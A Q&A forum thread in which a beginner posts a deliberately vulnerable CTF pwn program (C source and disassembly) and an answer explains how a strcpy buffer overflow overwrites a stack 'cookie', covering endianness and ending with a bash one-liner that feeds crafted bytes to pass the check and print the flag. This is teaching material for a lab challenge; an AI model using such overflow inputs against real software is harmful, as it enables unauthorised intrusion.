cassemblyctfpwntools

How to solve PWN challenge?


I am very new to PWN and have very less idea how to solve PWN problems. Recently, I came across a Capture The Flag (CTF) challenge, where I found a pwn to find out the flag. I am using Linux-Ubuntu -16.04.

Below program is a PWN program running on some remote machine, where I can 'netcat' & send an input string. As per my so far understanding on problem, buffer overflow will happen in below code (line 9) during strcpy(), there memory overwriting will take place. So, that is the vulnerability point I believe. Somehow, I need to make use of that vulnerability, so that 'flag' could be read from the remote machine.

Copying the code below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void f(char *s) {
    int cookie = 1;
    char buf[10];
    strcpy(buf, s);

    if (cookie != 0xcafebabe) {
        printf("fail...\n");
        exit(1);
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char s[100] = { 0 };
    fgets(s, 99, stdin);
    s[99] = '\0';
    f(s);

    system("cat flag");

    return 0;
}

I tried few basic steps as per the online tutorials, like reading the ELF, disassembling the code, but I am not sure how to proceed and solve this.

Here is the assembly code for same:

Disassembly of section .init:

00000000004005d0 <_init>:
  4005d0:       48 83 ec 08             sub    $0x8,%rsp
  4005d4:       48 8b 05 1d 0a 20 00    mov    0x200a1d(%rip),%rax        # 600ff8 <_DYNAMIC+0x1d0>
  4005db:       48 85 c0                test   %rax,%rax
  4005de:       74 05                   je     4005e5 <_init+0x15>
  4005e0:       e8 7b 00 00 00          callq  400660 <__gmon_start__@plt>
  4005e5:       48 83 c4 08             add    $0x8,%rsp
  4005e9:       c3                      retq

Disassembly of section .plt:

00000000004005f0 <strcpy@plt-0x10>:
  4005f0:       ff 35 12 0a 20 00       pushq  0x200a12(%rip)        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  4005f6:       ff 25 14 0a 20 00       jmpq   *0x200a14(%rip)        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  4005fc:       0f 1f 40 00             nopl   0x0(%rax)

0000000000400600 <strcpy@plt>:
  400600:       ff 25 12 0a 20 00       jmpq   *0x200a12(%rip)        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400606:       68 00 00 00 00          pushq  $0x0
  40060b:       e9 e0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400610 <puts@plt>:
  400610:       ff 25 0a 0a 20 00       jmpq   *0x200a0a(%rip)        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400616:       68 01 00 00 00          pushq  $0x1
  40061b:       e9 d0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400620 <__stack_chk_fail@plt>:
  400620:       ff 25 02 0a 20 00       jmpq   *0x200a02(%rip)        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400626:       68 02 00 00 00          pushq  $0x2
  40062b:       e9 c0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400630 <system@plt>:
  400630:       ff 25 fa 09 20 00       jmpq   *0x2009fa(%rip)        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400636:       68 03 00 00 00          pushq  $0x3
  40063b:       e9 b0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400640 <__libc_start_main@plt>:
  400640:       ff 25 f2 09 20 00       jmpq   *0x2009f2(%rip)        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400646:       68 04 00 00 00          pushq  $0x4
  40064b:       e9 a0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400650 <fgets@plt>:
  400650:       ff 25 ea 09 20 00       jmpq   *0x2009ea(%rip)        # 601040 <_GLOBAL_OFFSET_TABLE_+0x40>
  400656:       68 05 00 00 00          pushq  $0x5
  40065b:       e9 90 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400660 <__gmon_start__@plt>:
  400660:       ff 25 e2 09 20 00       jmpq   *0x2009e2(%rip)        # 601048 <_GLOBAL_OFFSET_TABLE_+0x48>
  400666:       68 06 00 00 00          pushq  $0x6
  40066b:       e9 80 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400670 <setvbuf@plt>:
  400670:       ff 25 da 09 20 00       jmpq   *0x2009da(%rip)        # 601050 <_GLOBAL_OFFSET_TABLE_+0x50>
  400676:       68 07 00 00 00          pushq  $0x7
  40067b:       e9 70 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400680 <exit@plt>:
  400680:       ff 25 d2 09 20 00       jmpq   *0x2009d2(%rip)        # 601058 <_GLOBAL_OFFSET_TABLE_+0x58>
  400686:       68 08 00 00 00          pushq  $0x8
  40068b:       e9 60 ff ff ff          jmpq   4005f0 <_init+0x20>

Disassembly of section .text:

0000000000400690 <_start>:
  400690:       31 ed                   xor    %ebp,%ebp
  400692:       49 89 d1                mov    %rdx,%r9
  400695:       5e                      pop    %rsi
  400696:       48 89 e2                mov    %rsp,%rdx
  400699:       48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
  40069d:       50                      push   %rax
  40069e:       54                      push   %rsp
  40069f:       49 c7 c0 20 09 40 00    mov    $0x400920,%r8
  4006a6:       48 c7 c1 b0 08 40 00    mov    $0x4008b0,%rcx
  4006ad:       48 c7 c7 e5 07 40 00    mov    $0x4007e5,%rdi
  4006b4:       e8 87 ff ff ff          callq  400640 <__libc_start_main@plt>
  4006b9:       f4                      hlt
  4006ba:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)

00000000004006c0 <deregister_tm_clones>:
  4006c0:       b8 77 10 60 00          mov    $0x601077,%eax
  4006c5:       55                      push   %rbp
  4006c6:       48 2d 70 10 60 00       sub    $0x601070,%rax
  4006cc:       48 83 f8 0e             cmp    $0xe,%rax
  4006d0:       48 89 e5                mov    %rsp,%rbp
  4006d3:       77 02                   ja     4006d7 <deregister_tm_clones+0x17>
  4006d5:       5d                      pop    %rbp
  4006d6:       c3                      retq
  4006d7:       b8 00 00 00 00          mov    $0x0,%eax
  4006dc:       48 85 c0                test   %rax,%rax
  4006df:       74 f4                   je     4006d5 <deregister_tm_clones+0x15>
  4006e1:       5d                      pop    %rbp
  4006e2:       bf 70 10 60 00          mov    $0x601070,%edi
  4006e7:       ff e0                   jmpq   *%rax
  4006e9:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)

00000000004006f0 <register_tm_clones>:
  4006f0:       b8 70 10 60 00          mov    $0x601070,%eax
  4006f5:       55                      push   %rbp
  4006f6:       48 2d 70 10 60 00       sub    $0x601070,%rax
  4006fc:       48 c1 f8 03             sar    $0x3,%rax
  400700:       48 89 e5                mov    %rsp,%rbp
  400703:       48 89 c2                mov    %rax,%rdx
  400706:       48 c1 ea 3f             shr    $0x3f,%rdx
  40070a:       48 01 d0                add    %rdx,%rax
  40070d:       48 d1 f8                sar    %rax
  400710:       75 02                   jne    400714 <register_tm_clones+0x24>
  400712:       5d                      pop    %rbp
  400713:       c3                      retq
  400714:       ba 00 00 00 00          mov    $0x0,%edx
  400719:       48 85 d2                test   %rdx,%rdx
  40071c:       74 f4                   je     400712 <register_tm_clones+0x22>
  40071e:       5d                      pop    %rbp
  40071f:       48 89 c6                mov    %rax,%rsi
  400722:       bf 70 10 60 00          mov    $0x601070,%edi
  400727:       ff e2                   jmpq   *%rdx
  400729:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)

0000000000400730 <__do_global_dtors_aux>:
  400730:       80 3d 49 09 20 00 00    cmpb   $0x0,0x200949(%rip)        # 601080 <completed.6982>
  400737:       75 11                   jne    40074a <__do_global_dtors_aux+0x1a>
  400739:       55                      push   %rbp
  40073a:       48 89 e5                mov    %rsp,%rbp
  40073d:       e8 7e ff ff ff          callq  4006c0 <deregister_tm_clones>
  400742:       5d                      pop    %rbp
  400743:       c6 05 36 09 20 00 01    movb   $0x1,0x200936(%rip)        # 601080 <completed.6982>
  40074a:       f3 c3                   repz retq
  40074c:       0f 1f 40 00             nopl   0x0(%rax)

0000000000400750 <frame_dummy>:
  400750:       48 83 3d c8 06 20 00    cmpq   $0x0,0x2006c8(%rip)        # 600e20 <__JCR_END__>
  400757:       00
  400758:       74 1e                   je     400778 <frame_dummy+0x28>
  40075a:       b8 00 00 00 00          mov    $0x0,%eax
  40075f:       48 85 c0                test   %rax,%rax
  400762:       74 14                   je     400778 <frame_dummy+0x28>
  400764:       55                      push   %rbp
  400765:       bf 20 0e 60 00          mov    $0x600e20,%edi
  40076a:       48 89 e5                mov    %rsp,%rbp
  40076d:       ff d0                   callq  *%rax
  40076f:       5d                      pop    %rbp
  400770:       e9 7b ff ff ff          jmpq   4006f0 <register_tm_clones>
  400775:       0f 1f 00                nopl   (%rax)
  400778:       e9 73 ff ff ff          jmpq   4006f0 <register_tm_clones>

000000000040077d <f>:
  40077d:       55                      push   %rbp
  40077e:       48 89 e5                mov    %rsp,%rbp
  400781:       48 83 ec 40             sub    $0x40,%rsp
  400785:       48 89 7d c8             mov    %rdi,-0x38(%rbp)
  400789:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  400790:       00 00
  400792:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  400796:       31 c0                   xor    %eax,%eax
  400798:       c7 45 dc 01 00 00 00    movl   $0x1,-0x24(%rbp)
  40079f:       48 8b 55 c8             mov    -0x38(%rbp),%rdx
  4007a3:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  4007a7:       48 89 d6                mov    %rdx,%rsi
  4007aa:       48 89 c7                mov    %rax,%rdi
  4007ad:       e8 4e fe ff ff          callq  400600 <strcpy@plt>
  4007b2:       81 7d dc be ba fe ca    cmpl   $0xcafebabe,-0x24(%rbp)
  4007b9:       74 14                   je     4007cf <f+0x52>
  4007bb:       bf 34 09 40 00          mov    $0x400934,%edi
  4007c0:       e8 4b fe ff ff          callq  400610 <puts@plt>
  4007c5:       bf 01 00 00 00          mov    $0x1,%edi
  4007ca:       e8 b1 fe ff ff          callq  400680 <exit@plt>
  4007cf:       48 8b 45 f8             mov    -0x8(%rbp),%rax
  4007d3:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
  4007da:       00 00
  4007dc:       74 05                   je     4007e3 <f+0x66>
  4007de:       e8 3d fe ff ff          callq  400620 <__stack_chk_fail@plt>
  4007e3:       c9                      leaveq
  4007e4:       c3                      retq

00000000004007e5 <main>:
  4007e5:       55                      push   %rbp
  4007e6:       48 89 e5                mov    %rsp,%rbp
  4007e9:       53                      push   %rbx
  4007ea:       48 83 ec 78             sub    $0x78,%rsp
  4007ee:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  4007f5:       00 00
  4007f7:       48 89 45 e8             mov    %rax,-0x18(%rbp)
  4007fb:       31 c0                   xor    %eax,%eax
  4007fd:       48 8b 05 74 08 20 00    mov    0x200874(%rip),%rax        # 601078 <stdin@@GLIBC_2.2.5>
  400804:       b9 00 00 00 00          mov    $0x0,%ecx
  400809:       ba 02 00 00 00          mov    $0x2,%edx
  40080e:       be 00 00 00 00          mov    $0x0,%esi
  400813:       48 89 c7                mov    %rax,%rdi
  400816:       e8 55 fe ff ff          callq  400670 <setvbuf@plt>
  40081b:       48 8b 05 4e 08 20 00    mov    0x20084e(%rip),%rax        # 601070 <__TMC_END__>
  400822:       b9 00 00 00 00          mov    $0x0,%ecx
  400827:       ba 02 00 00 00          mov    $0x2,%edx
  40082c:       be 00 00 00 00          mov    $0x0,%esi
  400831:       48 89 c7                mov    %rax,%rdi
  400834:       e8 37 fe ff ff          callq  400670 <setvbuf@plt>
  400839:       48 8d 55 80             lea    -0x80(%rbp),%rdx
  40083d:       b8 00 00 00 00          mov    $0x0,%eax
  400842:       b9 0c 00 00 00          mov    $0xc,%ecx
  400847:       48 89 d7                mov    %rdx,%rdi
  40084a:       f3 48 ab                rep stos %rax,%es:(%rdi)
  40084d:       48 89 fa                mov    %rdi,%rdx
  400850:       89 02                   mov    %eax,(%rdx)
  400852:       48 83 c2 04             add    $0x4,%rdx
  400856:       48 8b 15 1b 08 20 00    mov    0x20081b(%rip),%rdx        # 601078 <stdin@@GLIBC_2.2.5>
  40085d:       48 8d 45 80             lea    -0x80(%rbp),%rax
  400861:       be 63 00 00 00          mov    $0x63,%esi
  400866:       48 89 c7                mov    %rax,%rdi
  400869:       e8 e2 fd ff ff          callq  400650 <fgets@plt>
  40086e:       c6 45 e3 00             movb   $0x0,-0x1d(%rbp)
  400872:       48 8d 45 80             lea    -0x80(%rbp),%rax
  400876:       48 89 c7                mov    %rax,%rdi
  400879:       e8 ff fe ff ff          callq  40077d <f>
  40087e:       bf 3c 09 40 00          mov    $0x40093c,%edi
  400883:       e8 a8 fd ff ff          callq  400630 <system@plt>
  400888:       b8 00 00 00 00          mov    $0x0,%eax
  40088d:       48 8b 5d e8             mov    -0x18(%rbp),%rbx
  400891:       64 48 33 1c 25 28 00    xor    %fs:0x28,%rbx
  400898:       00 00
  40089a:       74 05                   je     4008a1 <main+0xbc>
  40089c:       e8 7f fd ff ff          callq  400620 <__stack_chk_fail@plt>
  4008a1:       48 83 c4 78             add    $0x78,%rsp
  4008a5:       5b                      pop    %rbx
  4008a6:       5d                      pop    %rbp
  4008a7:       c3                      retq
  4008a8:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  4008af:       00

00000000004008b0 <__libc_csu_init>:
  4008b0:       41 57                   push   %r15
  4008b2:       41 89 ff                mov    %edi,%r15d
  4008b5:       41 56                   push   %r14
  4008b7:       49 89 f6                mov    %rsi,%r14
  4008ba:       41 55                   push   %r13
  4008bc:       49 89 d5                mov    %rdx,%r13
  4008bf:       41 54                   push   %r12
  4008c1:       4c 8d 25 48 05 20 00    lea    0x200548(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
  4008c8:       55                      push   %rbp
  4008c9:       48 8d 2d 48 05 20 00    lea    0x200548(%rip),%rbp        # 600e18 <__init_array_end>
  4008d0:       53                      push   %rbx
  4008d1:       4c 29 e5                sub    %r12,%rbp
  4008d4:       31 db                   xor    %ebx,%ebx
  4008d6:       48 c1 fd 03             sar    $0x3,%rbp
  4008da:       48 83 ec 08             sub    $0x8,%rsp
  4008de:       e8 ed fc ff ff          callq  4005d0 <_init>
  4008e3:       48 85 ed                test   %rbp,%rbp
  4008e6:       74 1e                   je     400906 <__libc_csu_init+0x56>
  4008e8:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  4008ef:       00
  4008f0:       4c 89 ea                mov    %r13,%rdx
  4008f3:       4c 89 f6                mov    %r14,%rsi
  4008f6:       44 89 ff                mov    %r15d,%edi
  4008f9:       41 ff 14 dc             callq  *(%r12,%rbx,8)
  4008fd:       48 83 c3 01             add    $0x1,%rbx
  400901:       48 39 eb                cmp    %rbp,%rbx
  400904:       75 ea                   jne    4008f0 <__libc_csu_init+0x40>
  400906:       48 83 c4 08             add    $0x8,%rsp
  40090a:       5b                      pop    %rbx
  40090b:       5d                      pop    %rbp
  40090c:       41 5c                   pop    %r12
  40090e:       41 5d                   pop    %r13
  400910:       41 5e                   pop    %r14
  400912:       41 5f                   pop    %r15
  400914:       c3                      retq
  400915:       66 66 2e 0f 1f 84 00    data32 nopw %cs:0x0(%rax,%rax,1)
  40091c:       00 00 00 00

0000000000400920 <__libc_csu_fini>:
  400920:       f3 c3                   repz retq

Disassembly of section .fini:

0000000000400924 <_fini>:
  400924:       48 83 ec 08             sub    $0x8,%rsp
  400928:       48 83 c4 08             add    $0x8,%rsp
  40092c:       c3                      retq

If someone could please help / guide me in solving & what I need to do now, I would be really grateful as that will help me in learning this new type of challenges. Thanks in advance.


Solution

  • A few things to note here:

    1. cookie is assigned only in initialization, and then checked in the if. Obviously you have to overwrite it somehow to pass the test, and as you surmised correctly, this can done by overflowing buf.
    2. The test is given in hexadecimal, giving you a hint on what the bytes is the cookie expected to contain.
    3. Likely your architecture is litte endian as is mine - see results below.

    First, since you have the source, I would make sure I understand what happens on overflow:

    void f(char *s) {
        int cookie = 0x1;
        char buf[10];
    
        strcpy(buf, s);
        printf("Cookie[0]: %x\n", *(((unsigned char*)&cookie)+0));     
        printf("Cookie[1]: %x\n", *(((unsigned  char*)&cookie)+1));     
        printf("Cookie[2]: %x\n", *(((unsigned  char*)&cookie)+2));     
        printf("Cookie[3]: %x\n", *(((unsigned  char*)&cookie)+3));     
        printf("Cookie: %x\n", cookie);     
    
        if (cookie != 0xcafebabe) {
            printf("fail...\n");
            exit(1);
        }
    }
    

    This prints each byte starting at the place cookie is stored. Since int is 4 bytes, I print 4 addresses. Run this first without overflowing to get:

    Cookie[0]: 1                                                   
    Cookie[1]: 0                                                   
    Cookie[2]: 0                                                   
    Cookie[3]: 0                                                   
    Cookie: 1 
    

    This is where the endianess is clear - the "1" is in the first most memory address. Now let's try a wrong minimal overflow input 123456789 - 9 characters, leaving one for the null termination. This yields:

    Cookie[0]: 0
    Cookie[1]: 0                                                   
    Cookie[2]: 0                                                   
    Cookie[3]: 0                                                   
    Cookie: 0
    

    Why is cookie 0? Why did we overflow? It seems we overflow one character, null termination which is 0, a single byte, which was enough to erase the 1 above. Overflow another character to make this clear (1234567890):

    Cookie[0]: a
    Cookie[1]: 0                                                   
    Cookie[2]: 0                                                   
    Cookie[3]: 0                                                   
    Cookie: a
    

    Remember this is hex (%x) so a is actually 10. 10 in ASCII is '\n', and we realize there is an extra character we forgot - the new line. One more just to make sure how this works (12345678900):

    Cookie[0]: 30
    Cookie[1]: a                                                  
    Cookie[2]: 0                                                   
    Cookie[3]: 0                                                   
    Cookie: a30
    

    30 is 48 in hex - the ASCII for '0', and we understand how we are overwriting the cookie. Note the order at the bottom.

    So basically we want the bytes to contain (in hex, which is why the if condition was such a nice hint): ca, fe, ba, be. These are weird ASCII characters, and our keyboard does not have an easy way to input them. One way in bash to generate an overflowing string with the correct characters:

    echo 0xcafebabe | xxd -r
    

    xxd translates the hex into the proper ASCII characters. We can use redirection to input this into our program:

    out_program <<< 1234567890$(echo 0xcafebabe | xxd -r)
    

    yielding:

    Cookie[0]: ca
    Cookie[1]: fe                                           
    Cookie[2]: ba                                                   
    Cookie[3]: be                                                   
    Cookie: bebafeca
    

    The result is upside down in twos - this is since I neglected the little endian thing - first byte is least significant digit, so finally we realize:

    out_program <<< 1234567890$(echo 0xbebafeca | xxd -r)
    

    which solves the problem.